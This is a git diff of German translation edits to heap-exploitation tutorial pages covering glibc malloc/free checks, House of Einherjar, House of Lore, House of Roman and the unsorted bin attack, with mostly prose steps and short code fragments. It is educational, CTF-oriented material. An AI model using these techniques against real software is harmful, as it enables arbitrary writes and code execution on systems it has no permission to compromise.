- Wenn der nächste Chunk außerhalb der Grenzen der Arena liegt:
- Fehlermeldung: `double free or corruption (out)`
-- Wenn der Chunk nicht als verwendet markiert ist (im prev_inuse des folgenden Chunks):
+- Wenn der Chunk nicht als verwendet markiert ist (in der prev_inuse des folgenden Chunks):
- Fehlermeldung: `double free or corruption (!prev)`
- Wenn der nächste Chunk eine zu kleine oder zu große Größe hat:
- Fehlermeldung: `free(): invalid next size (normal)`
@@ -134,19 +134,19 @@ free.md
## **`_int_free_create_chunk`**
-- **Prüfungen in `_int_free_create_chunk`:**
+- **Überprüfungen in `_int_free_create_chunk`:**
- Hinzufügen eines Chunks in die unsortierte Bin, überprüfen, ob `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Fehlermeldung: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
-- **Prüfungen in `do_check_malloc_state`:**
+- **Überprüfungen in `do_check_malloc_state`:**
- Wenn der schnelle Bin-Chunk nicht ausgerichtet ist:
- Fehlermeldung: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
-- **Prüfungen in `malloc_consolidate`:**
+- **Überprüfungen in `malloc_consolidate`:**
- Wenn der schnelle Bin-Chunk nicht ausgerichtet ist:
- Fehlermeldung: `malloc_consolidate(): unaligned fastbin chunk detected`
- Wenn die Größe des schnellen Bin-Chunks falsch ist:
@@ -154,7 +154,7 @@ free.md
## `_int_realloc`
-- **Prüfungen in `_int_realloc`:**
+- **Überprüfungen in `_int_realloc`:**
- Größe ist zu groß oder zu klein:
- Fehlermeldung: `realloc(): invalid old size`
- Größe des nächsten Chunks ist zu groß oder zu klein:
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 94c716101..db144dd91 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,21 +7,21 @@
(Es werden keine Überprüfungen in dieser Zusammenfassung erklärt und einige Fälle wurden der Kürze halber weggelassen)
1. `__libc_malloc` versucht, einen Chunk aus dem tcache zu erhalten, wenn nicht, ruft es `_int_malloc` auf
-2. `_int_malloc` :
+2. `_int_malloc` :
1. Versucht, die Arena zu generieren, wenn keine vorhanden ist
-2. Wenn ein schneller Bin-Chunk der richtigen Größe vorhanden ist, verwende ihn
-1. Fülle den tcache mit anderen schnellen Chunks
-3. Wenn ein kleiner Bin-Chunk der richtigen Größe vorhanden ist, verwende ihn
-1. Fülle den tcache mit anderen Chunks dieser Größe
+2. Wenn ein schneller Bin-Chuck der richtigen Größe vorhanden ist, verwende ihn
+1. Fülle tcache mit anderen schnellen Chunks
+3. Wenn ein kleiner Bin-Chuck der richtigen Größe vorhanden ist, verwende ihn
+1. Fülle tcache mit anderen Chunks dieser Größe
4. Wenn die angeforderte Größe nicht für kleine Bins ist, konsolidiere den schnellen Bin in den unsortierten Bin
5. Überprüfe den unsortierten Bin, verwende den ersten Chunk mit genügend Platz
-1. Wenn der gefundene Chunk größer ist, teile ihn, um einen Teil zurückzugeben und den Rest wieder in den unsortierten Bin zu legen
+1. Wenn der gefundene Chunk größer ist, teile ihn, um einen Teil zurückzugeben und füge den Rest wieder in den unsortierten Bin ein
2. Wenn ein Chunk die gleiche Größe wie die angeforderte Größe hat, verwende ihn, um den tcache zu füllen, anstatt ihn zurückzugeben (bis der tcache voll ist, dann den nächsten zurückgeben)
3. Für jeden überprüften Chunk kleinerer Größe, lege ihn in seinen jeweiligen kleinen oder großen Bin
6. Überprüfe den großen Bin im Index der angeforderten Größe
1. Beginne mit der Suche vom ersten Chunk, der größer als die angeforderte Größe ist; wenn einer gefunden wird, gib ihn zurück und füge die Reste dem kleinen Bin hinzu
7. Überprüfe die großen Bins von den nächsten Indizes bis zum Ende
-1. Überprüfe vom nächsten größeren Index auf einen Chunk, teile den zuerst gefundenen Chunk, um ihn für die angeforderte Größe zu verwenden, und füge den Rest dem unsortierten Bin hinzu
+1. Überprüfe vom nächsten größeren Index auf einen Chunk, teile den zuerst gefundenen Chunk, um ihn für die angeforderte Größe zu verwenden, und füge den Rest in den unsortierten Bin ein
8. Wenn in den vorherigen Bins nichts gefunden wird, hole einen Chunk vom Top-Chunk
9. Wenn der Top-Chunk nicht groß genug war, vergrößere ihn mit `sysmalloc`
@@ -117,7 +117,7 @@ Dies ist die Funktion, die Speicher unter Verwendung der anderen Bins und des To
- Start
-Es beginnt mit der Definition einiger Variablen und der Ermittlung der tatsächlichen Größe, die der angeforderte Speicherplatz haben muss:
+Es beginnt damit, einige Variablen zu definieren und die tatsächliche Größe des angeforderten Speicherplatzes zu ermitteln:
@@ -190,10 +190,10 @@ return p;
### Fast Bin
-Wenn die benötigte Größe innerhalb der Fast Bins-Größen liegt, versuchen Sie, einen Chunk aus dem Fast Bin zu verwenden. Grundsätzlich wird basierend auf der Größe der Fast Bin-Index gefunden, an dem sich gültige Chunks befinden sollten, und falls vorhanden, wird einer davon zurückgegeben.\
+Wenn die benötigte Größe innerhalb der Fast Bins Größen liegt, versuchen Sie, einen Chunk aus dem Fast Bin zu verwenden. Grundsätzlich wird basierend auf der Größe der Fast Bin Index gefunden, an dem gültige Chunks lokalisiert sein sollten, und falls vorhanden, wird einer davon zurückgegeben.\
Darüber hinaus, wenn tcache aktiviert ist, wird der **tcache bin dieser Größe mit Fast Bins gefüllt**.
-Während dieser Aktionen werden hier einige Sicherheitsprüfungen durchgeführt:
+Während dieser Aktionen werden einige Sicherheitsprüfungen durchgeführt:
- Wenn der Chunk nicht ausgerichtet ist: `malloc(): unaligned fastbin chunk detected 2`
- Wenn der vorwärts gerichtete Chunk nicht ausgerichtet ist: `malloc(): unaligned fastbin chunk detected`
@@ -285,15 +285,15 @@ return p;
Wie in einem Kommentar angegeben, halten kleine Bins eine Größe pro Index, daher ist die Überprüfung, ob ein gültiger Chunk verfügbar ist, super schnell, sodass nach den schnellen Bins die kleinen Bins überprüft werden.
-Die erste Überprüfung besteht darin, herauszufinden, ob die angeforderte Größe in einem kleinen Bin sein könnte. In diesem Fall wird der entsprechende **Index** im kleinen Bin ermittelt und geprüft, ob es **irgendeinen verfügbaren Chunk** gibt.
+Die erste Überprüfung besteht darin, herauszufinden, ob die angeforderte Größe in einem kleinen Bin enthalten sein könnte. In diesem Fall wird der entsprechende **Index** im kleinen Bin ermittelt und geprüft, ob es **irgendeinen verfügbaren Chunk** gibt.
Dann wird eine Sicherheitsüberprüfung durchgeführt, die prüft:
-- ob `victim->bk->fd = victim`. Um sicherzustellen, dass beide Chunks korrekt verknüpft sind.
+- ob `victim->bk->fd = victim`. Um sicherzustellen, dass beide Chunks korrekt verknüpft sind.
-In diesem Fall **erhält der Chunk das `inuse`-Bit,** die doppelt verkettete Liste wird korrigiert, sodass dieser Chunk daraus verschwindet (da er verwendet wird), und das Non-Main-Arena-Bit wird bei Bedarf gesetzt.
+In diesem Fall **erhält der Chunk das `inuse`-Bit,** die doppelt verkettete Liste wird korrigiert, sodass dieser Chunk daraus verschwindet (da er verwendet werden soll), und das Non-Main-Arena-Bit wird bei Bedarf gesetzt.
-Schließlich **füllen Sie den tcache-Index der angeforderten Größe** mit anderen Chunks im kleinen Bin (falls vorhanden).
+Schließlich wird **der tcache-Index der angeforderten Größe** mit anderen Chunks im kleinen Bin (falls vorhanden) gefüllt.
@@ -510,16 +510,16 @@ Es ist Zeit, die unsortierte Bin auf einen potenziell gültigen Chunk zu überpr
#### Start
-Dies beginnt mit einer großen for-Schleife, die die unsortierte Bin in Richtung `bk` durchläuft, bis sie das Ende (die Arena-Struktur) erreicht mit `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+Dies beginnt mit einer großen Schleife, die die unsortierte Bin in Richtung `bk` durchläuft, bis sie das Ende (die Arena-Struktur) erreicht: `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
Darüber hinaus werden bei jeder Berücksichtigung eines neuen Chunks einige Sicherheitsprüfungen durchgeführt:
- Wenn die Chunk-Größe seltsam ist (zu klein oder zu groß): `malloc(): invalid size (unsorted)`
- Wenn die Größe des nächsten Chunks seltsam ist (zu klein oder zu groß): `malloc(): invalid next size (unsorted)`
-- Wenn die vorherige Größe, die durch den nächsten Chunk angegeben wird, von der Größe des Chunks abweicht: `malloc(): mismatching next->prev_size (unsorted)`
+- Wenn die vorherige Größe, die durch den nächsten Chunk angezeigt wird, von der Größe des Chunks abweicht: `malloc(): mismatching next->prev_size (unsorted)`
- Wenn nicht `victim->bck->fd == victim` oder nicht `victim->fd == av` (Arena): `malloc(): unsorted double linked list corrupted`
- Da wir immer den letzten überprüfen, sollte `fd` immer auf die Arena-Struktur zeigen.
-- Wenn der nächste Chunk nicht angibt, dass der vorherige in Benutzung ist: `malloc(): invalid next->prev_inuse (unsorted)`
+- Wenn der nächste Chunk nicht anzeigt, dass der vorherige in Benutzung ist: `malloc(): invalid next->prev_inuse (unsorted)`
@@ -629,12 +629,12 @@ Wenn dies erfolgreich war, geben Sie den Chunk zurück und es ist vorbei, andern
Fahren Sie fort, den Chunk aus dem Bin zu entfernen, falls die angeforderte Größe genau der des Chunks entspricht:
-- Wenn der tcache nicht gefüllt ist, fügen Sie ihn dem tcache hinzu und fahren Sie fort, indem Sie angeben, dass es einen tcache-Chunks gibt, der verwendet werden könnte
+- Wenn der tcache nicht gefüllt ist, fügen Sie ihn dem tcache hinzu und fahren Sie fort, indem Sie angeben, dass es einen tcache-Chunk gibt, der verwendet werden könnte
- Wenn der tcache voll ist, verwenden Sie ihn einfach und geben Sie ihn zurück
-_int_malloc unsorted bin gleiche Größe
+_int_malloc unsortierter Bin gleiche Größe
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
@@ -800,13 +800,13 @@ return tcache_get (tc_idx);
```
-Wenn die Grenzen nicht erreicht sind, fahren Sie mit dem Code fort...
+Wenn die Grenzen nicht erreicht sind, fahre mit dem Code fort...
### Großer Bin (nach Index)
-Wenn die Anfrage groß ist (nicht im kleinen Bin) und wir noch keinen Chunk zurückgegeben haben, holen Sie sich den **Index** der angeforderten Größe im **großen Bin**, überprüfen Sie, ob er **nicht leer** ist oder ob der **größte Chunk in diesem Bin größer** ist als die angeforderte Größe, und finden Sie in diesem Fall den **kleinsten Chunk, der für die angeforderte Größe verwendet werden kann**.
+Wenn die Anfrage groß ist (nicht im kleinen Bin) und wir noch keinen Chunk zurückgegeben haben, hole den **Index** der angeforderten Größe im **großen Bin**, überprüfe, ob er **nicht leer** ist oder ob der **größte Chunk in diesem Bin größer** ist als die angeforderte Größe, und finde in diesem Fall den **kleinsten Chunk, der für die angeforderte Größe verwendet werden kann**.
-Wenn der verbleibende Platz des schließlich verwendeten Chunks ein neuer Chunk sein kann, fügen Sie ihn dem unsortierten Bin hinzu und der last_reminder wird aktualisiert.
+Wenn der verbleibende Platz des schließlich verwendeten Chunks ein neuer Chunk sein kann, füge ihn dem unsortierten Bin hinzu und der last_reminder wird aktualisiert.
Eine Sicherheitsüberprüfung wird beim Hinzufügen des Restes zum unsortierten Bin durchgeführt:
@@ -887,19 +887,19 @@ return p;
```
-Wenn ein Chunk dafür nicht geeignet ist, fortfahren
+Wenn ein Chunk dafür nicht geeignet ist, fahre fort
-### Großer Bin (nächster größerer)
+### Große Bin (nächster größerer)
Wenn im genauen großen Bin kein Chunk gefunden wurde, der verwendet werden kann, beginne mit der Schleife durch alle nächsten großen Bins (beginnend mit dem unmittelbar größeren), bis einer gefunden wird (falls vorhanden).
-Der Rest des geteilten Chunks wird im unsortierten Bin hinzugefügt, last_reminder wird aktualisiert und die gleiche Sicherheitsüberprüfung wird durchgeführt:
+Der Rest des geteilten Chunks wird in den unsortierten Bin hinzugefügt, last_reminder wird aktualisiert und die gleiche Sicherheitsüberprüfung wird durchgeführt:
- `bck->fd-> bk != bck`: `malloc(): beschädigte unsortierte Chunks2`
-_int_malloc Großer Bin (nächster größerer)
+_int_malloc Große Bin (nächster größerer)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
@@ -1017,13 +1017,13 @@ return p;
An diesem Punkt ist es Zeit, einen neuen Chunk aus dem Top Chunk zu erhalten (wenn er groß genug ist).
-Es beginnt mit einer Sicherheitsüberprüfung, um sicherzustellen, dass die Größe des Chunks nicht zu groß ist (beschädigt):
+Es beginnt mit einer Sicherheitsüberprüfung, um sicherzustellen, dass die Größe des Chunks nicht zu groß (beschädigt) ist:
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
-Dann wird der Platz des Top Chunks verwendet, wenn er groß genug ist, um einen Chunk der angeforderten Größe zu erstellen.\
+Dann wird der Top Chunk-Speicher verwendet, wenn er groß genug ist, um einen Chunk der angeforderten Größe zu erstellen.\
Wenn nicht, konsolidiere die schnellen Chunks und versuche es erneut.\
-Schließlich, wenn nicht genug Platz vorhanden ist, verwende `sysmalloc`, um genügend Größe zuzuweisen.
+Schließlich, wenn nicht genügend Platz vorhanden ist, verwende `sysmalloc`, um genügend Größe zuzuweisen.
@@ -1098,7 +1098,7 @@ return p;
### sysmalloc starten
-Wenn arena null ist oder die angeforderte Größe zu groß ist (und noch erlaubte mmaps vorhanden sind), verwenden Sie `sysmalloc_mmap`, um Speicher zuzuweisen und ihn zurückzugeben.
+Wenn arena null ist oder die angeforderte Größe zu groß ist (und noch erlaubte mmaps vorhanden sind), verwende `sysmalloc_mmap`, um Speicher zuzuweisen und ihn zurückzugeben.
@@ -1171,7 +1171,7 @@ return 0;
```
-### sysmalloc-Überprüfungen
+### sysmalloc Überprüfungen
Es beginnt damit, Informationen über den alten Top-Chuck zu erhalten und zu überprüfen, ob einige der folgenden Bedingungen wahr sind:
@@ -1185,7 +1185,7 @@ Dann wird auch überprüft, dass:
-sysmalloc-Überprüfungen
+sysmalloc Überprüfungen
```c
/* Record incoming configuration of top */
@@ -1213,7 +1213,7 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc nicht Hauptarena
Es wird zuerst versuchen, den vorherigen Heap für diesen Heap zu **erweitern**. Wenn das nicht möglich ist, wird versucht, einen **neuen Heap zuzuweisen** und die Zeiger zu aktualisieren, um ihn nutzen zu können.\
-Wenn das auch nicht funktioniert, wird versucht, **`sysmalloc_mmap`** aufzurufen.
+Schließlich, wenn das nicht funktioniert hat, versuchen Sie, **`sysmalloc_mmap`** aufzurufen.
@@ -1281,7 +1281,7 @@ return mm;
### sysmalloc Hauptarena
-Es beginnt mit der Berechnung der benötigten Speichermenge. Es wird damit begonnen, zusammenhängenden Speicher anzufordern, sodass in diesem Fall der nicht verwendete alte Speicher genutzt werden kann. Außerdem werden einige Ausrichtungsoperationen durchgeführt.
+Es beginnt mit der Berechnung der benötigten Speichermenge. Es wird damit begonnen, zusammenhängenden Speicher anzufordern, sodass in diesem Fall der alte, ungenutzte Speicher verwendet werden kann. Außerdem werden einige Ausrichtungsoperationen durchgeführt.
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 5d8f74fdf..0ef9e73fd 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -16,34 +16,34 @@
### Anforderungen
- Erstellen Sie einen gefälschten Chunk, wenn wir einen Chunk zuweisen möchten:
-- Setzen Sie Zeiger, um auf sich selbst zu zeigen, um Sanitätsprüfungen zu umgehen
+- Setzen Sie Zeiger, um auf sich selbst zu zeigen, um Sanity-Checks zu umgehen
- Ein-Byte-Überlauf mit einem Null-Byte von einem Chunk zum nächsten, um das `PREV_INUSE`-Flag zu ändern.
-- Geben Sie in der `prev_size` des durch Null missbrauchten Chunks den Unterschied zwischen sich selbst und dem gefälschten Chunk an
-- Die Größe des gefälschten Chunks muss ebenfalls auf die gleiche Größe gesetzt werden, um Sanitätsprüfungen zu umgehen
+- Geben Sie im `prev_size` des durch Null missbrauchten Chunks den Unterschied zwischen sich selbst und dem gefälschten Chunk an
+- Die Größe des gefälschten Chunks muss ebenfalls auf die gleiche Größe gesetzt werden, um Sanity-Checks zu umgehen
- Zum Konstruieren dieser Chunks benötigen Sie einen Heap-Leak.
### Angriff
-- Ein gefälschter Chunk wird innerhalb eines vom Angreifer kontrollierten Chunks erstellt, der mit `fd` und `bk` auf den ursprünglichen Chunk zeigt, um Schutzmaßnahmen zu umgehen
+- Ein gefälschter Chunk `A` wird innerhalb eines vom Angreifer kontrollierten Chunks erstellt, der mit `fd` und `bk` auf den ursprünglichen Chunk zeigt, um Schutzmaßnahmen zu umgehen
- 2 weitere Chunks (`B` und `C`) werden zugewiesen
-- Durch den Missbrauch des Off-by-One im `B` wird das `prev in use`-Bit gelöscht und die `prev_size`-Daten werden mit dem Unterschied zwischen dem Ort, an dem der `C`-Chunk zugewiesen wird, und dem zuvor generierten gefälschten `A`-Chunk überschrieben
-- Diese `prev_size` und die Größe im gefälschten Chunk `A` müssen gleich sein, um Prüfungen zu umgehen.
+- Durch den Missbrauch des Off-by-One im `B` wird das `prev in use`-Bit gelöscht und die `prev_size`-Daten werden mit dem Unterschied zwischen dem Ort, an dem der Chunk `C` zugewiesen wird, und dem zuvor generierten gefälschten Chunk `A` überschrieben
+- Diese `prev_size` und die Größe im gefälschten Chunk `A` müssen gleich sein, um Überprüfungen zu umgehen.
- Dann wird der tcache gefüllt
- Dann wird `C` freigegeben, damit es sich mit dem gefälschten Chunk `A` konsolidiert
-- Dann wird ein neuer Chunk `D` erstellt, der im gefälschten `A`-Chunk beginnt und den `B`-Chunk abdeckt
+- Dann wird ein neuer Chunk `D` erstellt, der im gefälschten Chunk `A` beginnt und den Chunk `B` abdeckt
- Das Haus von Einherjar endet hier
-- Dies kann mit einem Fast-Bin-Angriff oder Tcache-Poisoning fortgesetzt werden:
+- Dies kann mit einem Fast-Bin-Angriff oder Tcache-Vergiftung fortgesetzt werden:
- `B` freigeben, um es zum Fast-Bin / Tcache hinzuzufügen
-- `B`'s `fd` wird überschrieben, sodass es auf die Zieladresse zeigt, indem der `D`-Chunk missbraucht wird (da er `B` enthält)
+- `B`'s `fd` wird überschrieben, sodass es auf die Zieladresse zeigt, indem der Chunk `D` missbraucht wird (da er `B` enthält)
- Dann werden 2 Mallocs durchgeführt, und der zweite wird **die Zieladresse zuweisen**
## Referenzen und andere Beispiele
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
-- Nach dem Freigeben von Zeigern werden diese nicht auf Null gesetzt, sodass es weiterhin möglich ist, auf ihre Daten zuzugreifen. Daher wird ein Chunk in den unsortierten Bin platziert und die Zeiger, die er enthält, werden geleakt (libc leak), und dann wird ein neuer Heap im unsortierten Bin platziert und eine Heap-Adresse von dem Zeiger geleakt, den er erhält.
+- Nach dem Freigeben von Zeigern werden diese nicht auf Null gesetzt, sodass es weiterhin möglich ist, auf ihre Daten zuzugreifen. Daher wird ein Chunk in den unsortierten Bin platziert und die Zeiger, die er enthält, geleakt (libc leak) und dann wird ein neuer Heap im unsortierten Bin platziert und eine Heap-Adresse von dem Zeiger geleakt, den er erhält.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-Byte-Überlauf-Fehler in `strtok`.
-- Verwenden Sie House of Einherjar, um eine Überlappung von Chunks zu erreichen und mit Tcache-Poisoning zu enden, um eine willkürliche Schreibprimitive zu erhalten.
+- Verwenden Sie House of Einherjar, um eine Überlappung von Chunks zu erreichen und mit Tcache-Vergiftung zu enden, um eine willkürliche Schreibprimitive zu erhalten.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index f4ea51b27..b8a968aee 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -10,7 +10,7 @@
- Das funktioniert nicht
- Oder: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Das funktioniert nicht, auch wenn es versucht, einige Überprüfungen zu umgehen, und den Fehler ausgibt: `malloc(): unaligned tcache chunk detected`
-- Dieses Beispiel funktioniert noch: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- Dieses Beispiel funktioniert noch: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Ziel
@@ -36,7 +36,7 @@ Dann können Sie `fake0` zuweisen.
- `fake0.fd` -> `legit` (Sie müssen einen Zeiger im freigegebenen kleinen Bin Chunk über eine andere Schwachstelle ändern)
- `legit.bk` -> `fake0`
- Ein kleiner Chunk wird zugewiesen, um legit zu erhalten, wodurch **`fake0`** in die oberste Liste der kleinen Bins gelangt
-- Ein weiterer kleiner Chunk wird zugewiesen, wobei `fake0` als Chunk erhalten wird, was potenziell das Lesen/Schreiben von Zeigern innerhalb davon ermöglicht.
+- Ein weiterer kleiner Chunk wird zugewiesen, wobei `fake0` als Chunk verwendet wird, was potenziell das Lesen/Schreiben von Zeigern innerhalb davon ermöglicht.
## Referenzen
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index debc7bd51..043e921bd 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -4,7 +4,7 @@
## Grundinformationen
-Dies war eine sehr interessante Technik, die RCE ohne Lecks über gefälschte Fastbins, den unsorted_bin-Angriff und relative Überschreibungen ermöglichte. Es wurde jedoch [**gepatcht**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+Dies war eine sehr interessante Technik, die RCE ohne Leaks über gefälschte Fastbins, den unsorted_bin-Angriff und relative Überschreibungen ermöglichte. Es wurde jedoch [**gepatcht**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
@@ -49,19 +49,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` hat einen `fd`, der auf `relative_offset_heap` zeigt
-- `relative_offset_heap` ist ein Offset von der Distanz zu `fake_libc_chunk`, das einen Zeiger auf `main_arena + 0x68` enthält
+- `fastbin_victim` hat ein `fd`, das auf `relative_offset_heap` zeigt
+- `relative_offset_heap` ist ein Offset von der Distanz zu `fake_libc_chunk`, das einen Zeiger auf `main_arena + 0x68` enthält
- Durch das Ändern des letzten Bytes von `fastbin_victim.fd` ist es möglich, dass `fastbin_victim` auf `main_arena + 0x68` zeigt
Für die vorherigen Aktionen muss der Angreifer in der Lage sein, den fd-Zeiger von `fastbin_victim` zu modifizieren.
Dann ist `main_arena + 0x68` nicht so interessant, also lassen Sie uns es ändern, damit der Zeiger auf **`__malloc_hook`** zeigt.
-Beachten Sie, dass `__memalign_hook` normalerweise mit `0x7f` beginnt und davor Nullen hat, dann ist es möglich, es als einen Wert im `0x70` Fast Bin zu fälschen. Da die letzten 4 Bits der Adresse **zufällig** sind, gibt es `2^4=16` Möglichkeiten, dass der Wert dort endet, wo wir interessiert sind. Daher wird hier ein BF-Angriff durchgeführt, sodass der Chunk endet wie: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
+Beachten Sie, dass `__memalign_hook` normalerweise mit `0x7f` beginnt und davor Nullen hat, dann ist es möglich, es als einen Wert im `0x70` Fast Bin zu fälschen. Da die letzten 4 Bits der Adresse **zufällig** sind, gibt es `2^4=16` Möglichkeiten für den Wert, um dort zu enden, wo wir interessiert sind. Daher wird hier ein BF-Angriff durchgeführt, sodass der Chunk endet wie: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Für weitere Informationen zu den restlichen Bytes überprüfen Sie die Erklärung im [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ Beispiel](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Wenn der BF nicht funktioniert, stürzt das Programm einfach ab (also starten Sie erneut, bis es funktioniert).
-Dann werden 2 Mallocs durchgeführt, um die 2 initialen Fast Bin Chunks zu entfernen, und ein dritter wird alloziert, um einen Chunk in **`__malloc_hook:`** zu erhalten.
+Dann werden 2 Mallocs durchgeführt, um die 2 initialen Fast Bin Chunks zu entfernen, und ein dritter wird alloziert, um einen Chunk in der **`__malloc_hook:`** zu erhalten.
```c
malloc(0x60);
malloc(0x60);
@@ -75,7 +75,7 @@ Für weitere Informationen können Sie überprüfen:
unsorted-bin-attack.md
{{#endref}}
-Aber im Grunde ermöglicht es, `main_arena + 0x68` an jeden Ort zu schreiben, der in `chunk->bk` angegeben ist. Und für den Angriff wählen wir `__malloc_hook`. Dann, nachdem wir es überschrieben haben, verwenden wir eine relative Überschreibung, um auf ein `one_gadget` zu zeigen.
+Aber im Grunde ermöglicht es, `main_arena + 0x68` an einen beliebigen Ort zu schreiben, der in `chunk->bk` angegeben ist. Und für den Angriff wählen wir `__malloc_hook`. Dann, nachdem wir es überschrieben haben, verwenden wir eine relative Überschreibung, um auf ein `one_gadget` zu zeigen.
Dafür beginnen wir, einen Chunk zu erhalten und ihn in den **unsorted bin** zu legen:
```c
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index ca38ee5bb..e668cbc85 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -4,32 +4,32 @@
## Grundinformationen
-Für weitere Informationen darüber, was ein unsorted bin ist, siehe diese Seite:
+Für weitere Informationen darüber, was ein unsortierter Bin ist, siehe diese Seite:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Unsortierte Listen können die Adresse zu `unsorted_chunks (av)` in der `bk`-Adresse des Chunks schreiben. Daher, wenn ein Angreifer **die Adresse des `bk`-Zeigers** in einem Chunk innerhalb des unsorted bins **modifizieren** kann, könnte er in der Lage sein, **diese Adresse an einer beliebigen Adresse zu schreiben**, was hilfreich sein könnte, um Glibc-Adressen zu leaken oder einige Abwehrmaßnahmen zu umgehen.
+Unsortierte Listen können die Adresse zu `unsorted_chunks (av)` in der `bk`-Adresse des Chunks schreiben. Daher, wenn ein Angreifer die **Adresse des `bk`-Zeigers** in einem Chunk innerhalb des unsortierten Bins **modifizieren** kann, könnte er in der Lage sein, **diese Adresse an einer beliebigen Adresse zu schreiben**, was hilfreich sein könnte, um Glibc-Adressen zu leaken oder einige Abwehrmaßnahmen zu umgehen.
-Im Grunde genommen ermöglicht dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein könnte. Ein typisches Ziel ist **`global_max_fast`**, um die Erstellung von Fast-Bin-Bins mit größeren Größen zu ermöglichen (und von einem unsorted bin Angriff zu einem Fast-Bin-Angriff überzugehen).
+Im Grunde genommen erlaubt dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein könnte. Ein typisches Ziel ist **`global_max_fast`**, um die Erstellung von Fast-Bin-Bins mit größeren Größen zu ermöglichen (und von einem unsortierten Bin-Angriff zu einem Fast-Bin-Angriff überzugehen).
> [!TIP]
-> Ein Blick auf das Beispiel, das in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) bereitgestellt wird, und die Verwendung von 0x4000 und 0x5000 anstelle von 0x400 und 0x500 als Chunk-Größen (um Tcache zu vermeiden), zeigt, dass **heutzutage** der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird.
+> Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) zeigt, dass **heutzutage** der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird, wenn man 0x4000 und 0x5000 anstelle von 0x400 und 0x500 als Chunk-Größen verwendet (um Tcache zu vermeiden).
>
-> Daher erfordert dieser unsorted bin Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verlinkte Liste so repariert wird, dass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)` umgangen wird, was bedeutet, dass die Adresse, an die wir schreiben wollen, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
